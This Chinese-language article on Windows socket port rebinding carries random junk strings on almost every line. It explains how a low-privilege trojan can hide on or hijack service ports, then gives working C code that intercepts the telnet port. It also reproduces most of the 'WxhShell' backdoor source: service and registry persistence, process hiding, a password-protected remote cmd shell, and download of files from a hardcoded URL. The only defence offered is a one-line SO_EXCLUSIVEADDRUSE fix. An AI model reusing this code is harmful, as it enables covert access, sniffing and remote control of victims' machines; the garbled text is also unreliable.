在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4M!wm]n/%5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\<hHZS GO.7IL{{ saddr.sin_family = AF_INET;
oWx^_wQ-= Av0(zA2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Rt7l`|g a+ e _(';Lk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
liqVfB% PI@?I&Bo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
A<^X P-Nrp Yhz Dw8f 这意味着什么?意味着可以进行如下的攻击:
iUFG!,+d x:Q$1&3N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3ZbqZ"rE #]Lodo9rS\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
})`z6d]3 )w5!'W4Z8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P#MUS_x F vTswM> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
cNikLd~?A &grvlK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E,dUO; #?`S+YN!q) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_#Lq~02 % ]t~'wL#Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t%O)Ti jo1z#!|Yw} #include
UCup {pDp #include
\D};0#G0& #include
fq4uiFi< #include
NcHU) DWORD WINAPI ClientThread(LPVOID lpParam);
ao0^; int main()
K-"`A.:S {
sIbPMu`&U WORD wVersionRequested;
O)DAYBv^ DWORD ret;
_;%l~q/
WSADATA wsaData;
x}O,xquY BOOL val;
R+t]]n6# SOCKADDR_IN saddr;
`mI5Z*]- SOCKADDR_IN scaddr;
8GRB6-.h int err;
\3]O?' SOCKET s;
+J~%z*A SOCKET sc;
tSnsjd<6. int caddsize;
y(/5l HANDLE mt;
=c$x xEDD DWORD tid;
"Bwmq9Jq wVersionRequested = MAKEWORD( 2, 2 );
15En$6> err = WSAStartup( wVersionRequested, &wsaData );
:>0,MO.^~K if ( err != 0 ) {
MBLDxsZ- printf("error!WSAStartup failed!\n");
6tjV^sjs return -1;
}#;.b'` }
K<r5jb saddr.sin_family = AF_INET;
!Eb|AHa ? HNuffk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,`OQAJ)> 4;>HBCM4- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oX*;iS X saddr.sin_port = htons(23);
lWd@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4\nGWi{2 {
X&| R\v=} printf("error!socket failed!\n");
I<XYLe[_S return -1;
I-1NZgv }
SjY|aW+wAL val = TRUE;
)m[<lJbw //SO_REUSEADDR选项就是可以实现端口重绑定的
QoZZXCU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s&'FaqE {
| lZJt printf("error!setsockopt failed!\n");
Fa\jVFIQ return -1;
?Z4%u8Krvz }
Vy| 4k2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Rry]6( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-rjQ^ze //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
AlG5n' i~AReJxt7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l]#=I7 6 {
7lA_*t@y ret=GetLastError();
#,#:{&H printf("error!bind failed!\n");
fBh/$ return -1;
+]zRn }
#D%6b listen(s,2);
Qca3{|r` while(1)
wf1p/bpf {
>@ xe-0z caddsize = sizeof(scaddr);
&cJ?mSI //接受连接请求
7&OJ8B/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{IvA 5^ if(sc!=INVALID_SOCKET)
|Ldvfd {
)''V}Zn.X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
EaHJl if(mt==NULL)
uFb
9Ic]` {
g]c6_DMfb1 printf("Thread Creat Failed!\n");
GQJ4d-w break;
hQ!59 }
j_~mP>el) }
i7v=o# CloseHandle(mt);
'*&dP" }
{o 5^nd closesocket(s);
I} 5e{jBB WSACleanup();
]NI
CQ9 return 0;
<5
OUk }
: vx<m_ DWORD WINAPI ClientThread(LPVOID lpParam)
T9!NuKfur {
om9'A=ZU SOCKET ss = (SOCKET)lpParam;
e=s85! SOCKET sc;
c#`IF6qj unsigned char buf[4096];
dFhyT.Y? SOCKADDR_IN saddr;
m[iQ7/ long num;
md?
cvGDE DWORD val;
.pdcwd9 DWORD ret;
#$W0%7 //如果是隐藏端口应用的话,可以在此处加一些判断
l
9g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'RF`XX saddr.sin_family = AF_INET;
@V:Y%#% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c0rU&+:Ry saddr.sin_port = htons(23);
~:U`^wtQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-Ah&|!/ {
2eeFaFif printf("error!socket failed!\n");
O^ui+44wp return -1;
Xdl
dUK[ }
6>;OVX val = 100;
;hV|W{=w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MEJX5qG6m {
%.]#3tW ret = GetLastError();
tg==Qgz return -1;
*5*#Z~dut8 }
fA?v\'Qq/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9E8&~y {
$pAVTz ret = GetLastError();
`?WN*__[" return -1;
aaw[ia_E L }
6&0G'PMf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0sH~yvM5 {
|HYST` printf("error!socket connect failed!\n");
%6rSLBw3 closesocket(sc);
V9qA'k closesocket(ss);
:) -` return -1;
QG~6mvD }
j}s/)}n| while(1)
JC->
eY"O2 {
d=8.cQL:E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:TR:tf //如果是嗅探内容的话,可以再此处进行内容分析和记录
ceD6q~) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'W4v>0 num = recv(ss,buf,4096,0);
}Y BuS3{ if(num>0)
-sZ'<(3 send(sc,buf,num,0);
x3#:C= else if(num==0)
p~=z)7%e' break;
ov H'_' num = recv(sc,buf,4096,0);
s]0 J'UN if(num>0)
}$L1A send(ss,buf,num,0);
Q_!tn* else if(num==0)
2#3`[+g<n break;
<H-kR\HF }
MMC$c=4" closesocket(ss);
QA;,/iw ` closesocket(sc);
S5, u| H return 0 ;
ebNRZJ?C, }
`w`N5 ! <nG}]Smd7 DR3om;Uk ==========================================================
"v`q%(TA mAGD qz>f 下边附上一个代码,,WXhSHELL
lo'#dpt< Mp!1xx ==========================================================
aXQAm$/
> Q&w_kz. #include "stdafx.h"
&~/g[\Y 2RF3pIFrm #include <stdio.h>
[g<gu~ #include <string.h>
;<''oY #include <windows.h>
rP2h9Cb #include <winsock2.h>
Y3FFi M[s~ #include <winsvc.h>
T}1" #include <urlmon.h>
3`vKEThY) K@%T5M4j #pragma comment (lib, "Ws2_32.lib")
km5gO|V>m #pragma comment (lib, "urlmon.lib")
SqRM*Cf= 2-N7%]h #define MAX_USER 100 // 最大客户端连接数
mwsBj) #define BUF_SOCK 200 // sock buffer
"=C~IW #define KEY_BUFF 255 // 输入 buffer
:AFU5mR4& T ,!CDm$= #define REBOOT 0 // 重启
u,`3_I^ #define SHUTDOWN 1 // 关机
GHn0(o &K 1!;~Y# #define DEF_PORT 5000 // 监听端口
Qt{V&Z7 `AvK8Wh<+ #define REG_LEN 16 // 注册表键长度
5
-|7I7(G$ #define SVC_LEN 80 // NT服务名长度
nvLdgu4P> <pa-C2Ky // 从dll定义API
d}Guj/cx, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-AD`(b7q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'%ZKvZ- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_Li.}g@Bd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
He4HIZ qzA_ ~=g // wxhshell配置信息
$kHXt]fU struct WSCFG {
7t#Q8u? int ws_port; // 监听端口
V#.pi zb char ws_passstr[REG_LEN]; // 口令
MZf?48"f int ws_autoins; // 安装标记, 1=yes 0=no
4gev^/^^ char ws_regname[REG_LEN]; // 注册表键名
^[}W} j> char ws_svcname[REG_LEN]; // 服务名
.o]I^3tfc char ws_svcdisp[SVC_LEN]; // 服务显示名
"M/) LXn:0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Q(aNa!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/F"eqMN int ws_downexe; // 下载执行标记, 1=yes 0=no
I0Allw[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fJ5mKN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.57Fh)Y "q= ss:( };
?SO!INJ 8%YyxoCH // default Wxhshell configuration
M=ag\1S&ZF struct WSCFG wscfg={DEF_PORT,
"$J5cco "xuhuanlingzhe",
Yy]TU} PY 1,
yi~]}M "Wxhshell",
A&B|n!;b "Wxhshell",
Pw]r&)I`y[ "WxhShell Service",
nsXG@C S: "Wrsky Windows CmdShell Service",
z)v o "Please Input Your Password: ",
LWhy5H;Es 1,
nHDKe)V "
http://www.wrsky.com/wxhshell.exe",
1BW 9,Xr "Wxhshell.exe"
edcz%IOM( };
D*VO;?D ntPj9#lf // 消息定义模块
o@dTiQK_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J1cz
D |( char *msg_ws_prompt="\n\r? for help\n\r#>";
u*5}c7)uId char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4|5;nxkGm8 char *msg_ws_ext="\n\rExit.";
\4j_K*V char *msg_ws_end="\n\rQuit.";
1i.3P$F char *msg_ws_boot="\n\rReboot...";
??P\v0E char *msg_ws_poff="\n\rShutdown...";
0m.`$nlV- char *msg_ws_down="\n\rSave to ";
<*^|Aj|# kb"Fw:0
char *msg_ws_err="\n\rErr!";
s?S e]?i char *msg_ws_ok="\n\rOK!";
F@Wi[K <o3I<ci6 char ExeFile[MAX_PATH];
"[fPzIP9 int nUser = 0;
4Y3@^8h&= HANDLE handles[MAX_USER];
,?qJAV~> int OsIsNt;
]}l.*v\uK c V@^< SERVICE_STATUS serviceStatus;
rr(kFQ" SERVICE_STATUS_HANDLE hServiceStatusHandle;
<vV"abk a=y%+E'a' // 函数声明
X@Zt4)2# int Install(void);
eNi#% ?=WB int Uninstall(void);
Q<MxbHk9 int DownloadFile(char *sURL, SOCKET wsh);
"M2WK6?O5 int Boot(int flag);
#?D[WTV void HideProc(void);
6|n3Q$p int GetOsVer(void);
sGNHA(; int Wxhshell(SOCKET wsl);
vRW;{,d void TalkWithClient(void *cs);
QQ{*j7i) int CmdShell(SOCKET sock);
{g1R?W\LZ int StartFromService(void);
9eP*N(m< int StartWxhshell(LPSTR lpCmdLine);
EXH,+3fQp AB+lM;_> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>$CNR*}@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
~l] w=[
z {6Nbar@3 // 数据结构和表定义
Ez-AQ' SERVICE_TABLE_ENTRY DispatchTable[] =
;g+fY6 {
'-I\G6w9 {wscfg.ws_svcname, NTServiceMain},
tBZ?UAe; {NULL, NULL}
lFIaC} };
@cxM#N8e O0BDUpH // 自我安装
-Q
Mwtr#q} int Install(void)
G)b:UJa" {
+8 \?7,FY char svExeFile[MAX_PATH];
[)8O\/: HKEY key;
5?Q5cD2]\6 strcpy(svExeFile,ExeFile);
UA6
C/ 9fTl6?x // 如果是win9x系统,修改注册表设为自启动
be_h
uZ if(!OsIsNt) {
P Gxv4(% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y0O e)oP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%G6x \[, RegCloseKey(key);
?y>v"1+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a Iyzt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-AVT+RE9z RegCloseKey(key);
)>Z@')Uk: return 0;
Mg8ciV}\xY }
~p{YuW[e }
]{{%d4 }
.}+3A~ else {
MZA%ET,l,< Bonj K# // 如果是NT以上系统,安装为系统服务
=F/ R*5:T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H>]*<2(=- if (schSCManager!=0)
xN>\t& c {
n4XkhY| SC_HANDLE schService = CreateService
s-x1<+E( (
-H[@]Q4w schSCManager,
R\5fl[ wscfg.ws_svcname,
%a0q|)Nrj wscfg.ws_svcdisp,
=Y!.0)t;* SERVICE_ALL_ACCESS,
(=gqqOOl~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@ra JB' SERVICE_AUTO_START,
~+BU@PHv SERVICE_ERROR_NORMAL,
'h~IbP svExeFile,
l9+CJAmq NULL,
%'=TYvB 2 NULL,
U Lq`!1{
NULL,
QJR},nZ3 NULL,
O)&ME NULL
uP8 cW([ );
SLN OOEN if (schService!=0)
]0%{IgB {
3&c'3y:b CloseServiceHandle(schService);
myOW^ CloseServiceHandle(schSCManager);
^Df qc-] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
K~^o06 Y strcat(svExeFile,wscfg.ws_svcname);
LSXsq} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5OOXCtIKf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~fcC+"7q/ RegCloseKey(key);
lY,9bSF$ return 0;
QP!;Gwqr }
1{cF/ :o }
lSd tw b CloseServiceHandle(schSCManager);
sMJa4P>O@ }
#%OS=.V }
v!<FeLW -{d(~XIo return 1;
o2]Np~`g, }
94*MRn1E ) 54cG // 自我卸载
KqaEHL int Uninstall(void)
K@osD7- {
=R9`to|
HKEY key;
_XrlCLp: d {Q]7!/>> if(!OsIsNt) {
i{Q,>Rt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
juM~X5b RegDeleteValue(key,wscfg.ws_regname);
P^lRJB<$Q RegCloseKey(key);
S4(?=,^- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,L>{(Q) RegDeleteValue(key,wscfg.ws_regname);
9v
,y RegCloseKey(key);
~Z#\f5yv@ return 0;
[fkt3fS }
| -Gb Hfz }
0BjP|API }
duCXCX^n
T else {
Q4N0j' QA wn<k"6x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
gMZrtK`< if (schSCManager!=0)
+= gU`<\ {
we*E}U4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
z! k if (schService!=0)
7vGAuTfi/@ {
Yc5)
^v if(DeleteService(schService)!=0) {
EF 8rh CloseServiceHandle(schService);
w5Ucj*A\ CloseServiceHandle(schSCManager);
%5Elj<eHZ return 0;
d1*0?G TT }
4}YHg&@\d% CloseServiceHandle(schService);
O=!Eqa ExW }
LR"7e CloseServiceHandle(schSCManager);
&oK&vgcj }
jcxeXp|00 }
$O\]cQD`u N#:W#C{16w return 1;
Wp^|= }
6-{wo)p {;JFoe+ // 从指定url下载文件
*tDxwD7 int DownloadFile(char *sURL, SOCKET wsh)
.^rsVNG {
=`V9{$i HRESULT hr;
akgvV~5 char seps[]= "/";
+~lPf. char *token;
UM+g8J{$*; char *file;
k>\s6 char myURL[MAX_PATH];
6?0QzSpfC# char myFILE[MAX_PATH];
2)q$HUIX +]C|y ,r strcpy(myURL,sURL);
U\YzE.G1]S token=strtok(myURL,seps);
g9=O<u# while(token!=NULL)
#'y^@90R {
N\hHu6 file=token;
h>|IA@;|f token=strtok(NULL,seps);
P>*`<$FR }
`DP4u\6_ {E1^Wn1M GetCurrentDirectory(MAX_PATH,myFILE);
dJ{'b'# strcat(myFILE, "\\");
<Lq.J`|+ strcat(myFILE, file);
9\6ZdnEKu, send(wsh,myFILE,strlen(myFILE),0);
jrYA5>=># send(wsh,"...",3,0);
0IbR>zFg. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
oi^pU if(hr==S_OK)
@CCDe`R* return 0;
[;7$ 'lr%D else
p,OB;Ncf/ return 1;
PV/ hnVUl &=-{adm }
G\r>3Ys t@BhosR- // 系统电源模块
c 9zMI int Boot(int flag)
k3e?:t 9 {
rPJbbV",+^ HANDLE hToken;
a
,<u TOKEN_PRIVILEGES tkp;
M >s,I^ /JP%gD"8 if(OsIsNt) {
M/8EaQs} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6
&MATMR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W
-5wjc tkp.PrivilegeCount = 1;
R%r<AL5kJk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L' x[wM0w; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0tN/P+!| if(flag==REBOOT) {
p=f8A71 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_^] :tL6 return 0;
+H3;{ h9, }
!O/(._YB` else {
qMcOSZ%8J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3Et t9fBd return 0;
:k oXS }
e?XQ, }
Hl*/s else {
Z<[f81hE& if(flag==REBOOT) {
_/a8X:[( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ap%tm)@1 return 0;
@-jI<g }
1\if XJ else {
P%kJq^& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"]1|%j return 0;
2c8e:Xgv }
P&8QKX3
j^ }
#,\qjY c_.4~>qw return 1;
w 8oIq* }
L
t.Vo /AUXO] // win9x进程隐藏模块
`F' >NNY void HideProc(void)
!>QD42 {
G\o*j| eTY""EWU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2z=aP!9] if ( hKernel != NULL )
0HS"Oxx' {
>=3ay^(Y2D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^/v!hq_#%& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;,jms~ik FreeLibrary(hKernel);
+Zo&c} }
H7R6Ljd?&S dfA4OZ& return;
$_0~Jzt, }
]$
iqJL gye'_AR?k // 获取操作系统版本
\y0uGnmCj int GetOsVer(void)
c27\S?\
Jd {
AU/L_hg OSVERSIONINFO winfo;
F\hU
V[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|a[Id GetVersionEx(&winfo);
Cdbh7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#~>ykuq return 1;
YA4;gH + else
D= LLm$y
return 0;
[(4s\c }
58.b@@T ,aQ{ // 客户端句柄模块
~OQ/ |ws int Wxhshell(SOCKET wsl)
vB T]a {
w%Tjn^ d SOCKET wsh;
>z1q\cz struct sockaddr_in client;
6.
6g9 DWORD myID;
p:8&&v~I ]W>kbHImz while(nUser<MAX_USER)
9 54O=9PQ {
)M(-EDL>Qk int nSize=sizeof(client);
2 K&5Kt/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SLMnEtyTS if(wsh==INVALID_SOCKET) return 1;
Hwm]l`E] mtg3}etA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>YW_}kd if(handles[nUser]==0)
y72=d?]W closesocket(wsh);
&^!vi2$5} else
;p4|M nUser++;
ZpTT9{PT=: }
F8%.-.l) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2W 9N-t21 fu6Ir, return 0;
tHV81F1J }
b63 tjqk WTP~MJ#C // 关闭 socket
l^*'W(% void CloseIt(SOCKET wsh)
Fj~,> {
W.t` closesocket(wsh);
^u[n!R\ nUser--;
PQFr4EY?i ExitThread(0);
DU>#eR0G }
h1'j1uI (lBwkQNQGd // 客户端请求句柄
^saH^kg1" void TalkWithClient(void *cs)
<;
(pol| {
AqHH^adzA: @z!|HLD+ SOCKET wsh=(SOCKET)cs;
:CJ]^v char pwd[SVC_LEN];
x^ruPiH char cmd[KEY_BUFF];
b _#r_` char chr[1];
!xz0zT. int i,j;
]NrA2i? u= u#6% while (nUser < MAX_USER) {
^dF?MQA<@ eURj'8o), if(wscfg.ws_passstr) {
:_y}8am;H~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bW9a_m yE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ySk'#\d //ZeroMemory(pwd,KEY_BUFF);
xmI!N0eta i=0;
O0VbKW0h3 while(i<SVC_LEN) {
3"ii_#1 L]C|&KP // 设置超时
|wFfVDp fd_set FdRead;
m$X0O_*A struct timeval TimeOut;
qz
.{[l FD_ZERO(&FdRead);
+7]]=e<[E FD_SET(wsh,&FdRead);
g~i%*u,Y< TimeOut.tv_sec=8;
+jPs0?}s TimeOut.tv_usec=0;
[9S? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R;68C6 4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
U:n3V KPcOW#.T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A=S_5y pwd
=chr[0]; 1D/9lR,
if(chr[0]==0xd || chr[0]==0xa) { Y"RjMyQh
pwd=0; x&SG gl
break; !leLOi2T
} 'nO%1BZj+
i++; [h
GS*
} mrgieb%
KkJK5dZo
// 如果是非法用户,关闭 socket dO{a!Ca
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z+*t=?L,,G
} _Bp{~-fO
Qg\{d)X[N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SQ_w~'(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6pHn%yE*
~RRp5x _
while(1) { ca}, tov&
Vk>m/"
ZeroMemory(cmd,KEY_BUFF); XDWR]
fi6i{(K
// 自动支持客户端 telnet标准 O_u2V'jy9
j=0; FXi"o
$N
while(j<KEY_BUFF) { B7^*xskH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e{"r3*
cmd[j]=chr[0]; mjwh40x.o
if(chr[0]==0xa || chr[0]==0xd) { O"D0+BK79e
cmd[j]=0; >8*J ;(:W
break; A+:X
} !X5~!b^*
j++; X{j`H\'L
} t%`GXJb
t[ Zoe+&
// 下载文件 {|;5P.,l
if(strstr(cmd,"http://")) { ,o3{?o]s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;6T>p
if(DownloadFile(cmd,wsh)) $Z!$E,@c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve [*t `
else GRt1]%l#$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U;l!.mze
} j~IX
else { /R2K3E#
W.fsW<{4j
switch(cmd[0]) { 1I{^]]qw
0pYCh$TL1
// 帮助 7NY9UQ
case '?': { _|!FhZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jgfl|;I?pg
break; w*E0f?s
} Q>,EYb>wI
// 安装 L1'#wH
case 'i': { ^+hqGu]M
if(Install()) U=<d;2N#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~`<ik{q
else *Z+8L*k97
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jI-\~
break; ]Ywj@-*q
} SP,#KyWP0)
// 卸载 UY)e6 Zd
case 'r': { 9&>)4HNd?
if(Uninstall()) zj ?^,\{A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y_H|Fl^
else a<W[???m/M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1h"CjOp,7
break; u9.x31^
} -W^jmwM
// 显示 wxhshell 所在路径 Y'75DE<BC
case 'p': { x2^Yvgc-
char svExeFile[MAX_PATH]; Guc~]
B
strcpy(svExeFile,"\n\r"); 3(Y#*f|
strcat(svExeFile,ExeFile); *5\k1-$
send(wsh,svExeFile,strlen(svExeFile),0); z2Pnni7Ys
break; \5]${vs&s
} MS Ml
// 重启 ?\
qfuA9.
case 'b': { 'q#$^='o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1nt VM+
if(Boot(REBOOT)) cVg!"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `eF&|3!IYQ
else { 4z_ >CiA
closesocket(wsh); Ux<2!vh
ExitThread(0); RY>BP[h
} :f~[tox
break; IsaL+elq|
} 5eZ8$-&([
// 关机 DP(JsZ}
case 'd': { !L+4YA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U_ -9rkUa
if(Boot(SHUTDOWN)) Yt 9{:+[RK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+gr>a1K#
else { RS$!TTeQ
closesocket(wsh); 9^;)~ G
ExitThread(0); \Bg;^6U
} ),G?f {`!
break; 5pOb;ry")`
} q,ry3Nr4n
// 获取shell k63]Qf=5?N
case 's': { +w(sDH~kd
CmdShell(wsh); jLANv{"
closesocket(wsh); w3l+BUn:X
ExitThread(0); P4M*vZq)
break; 3$.R=MQ7
} }mz6z<pJ_
// 退出 our$Ka31
case 'x': { ~f.fg@v`+v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B1EI'<S
CloseIt(wsh); DrG9Kky{
break; Rmq8lU
} q`l&G%
// 离开 $R\D[`y|
case 'q': { ileqI/40f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;"*\R5a
closesocket(wsh); b'D|p/)m0S
WSACleanup(); &a'H vQV
exit(1); 9q?\F
break; sHk,#EsKH
} 'nK(cKDIG
} WBo|0(#
} .>5KwEK~
7*!h:rg
// 提示信息 xq?9w$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _I("k:E7
} 52*9q!
} EJd l%j
#HMJBQ4v#
return; F,t
,Ja
} Fk:yj 4'
%gF; A*
// shell模块句柄 !>~W5c^
int CmdShell(SOCKET sock) Orb('Z,-3
{ 2D5S%27,
STARTUPINFO si; 9WXJz;
ZeroMemory(&si,sizeof(si)); C q/936`O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q7 dXTS4H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [k"@n+%
PROCESS_INFORMATION ProcessInfo; Ig9gGI,
char cmdline[]="cmd"; a/9R~DwN
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?w{ lC,
return 0;
aOS:rC
} + _=&7
$ekB+
t:cj
// 自身启动模式 Lo'P;Sb4<}
int StartFromService(void) =}:9y6QR.
{ Y9b|lP7!
typedef struct uQ^r1 $#
{ ^E)Kse.>
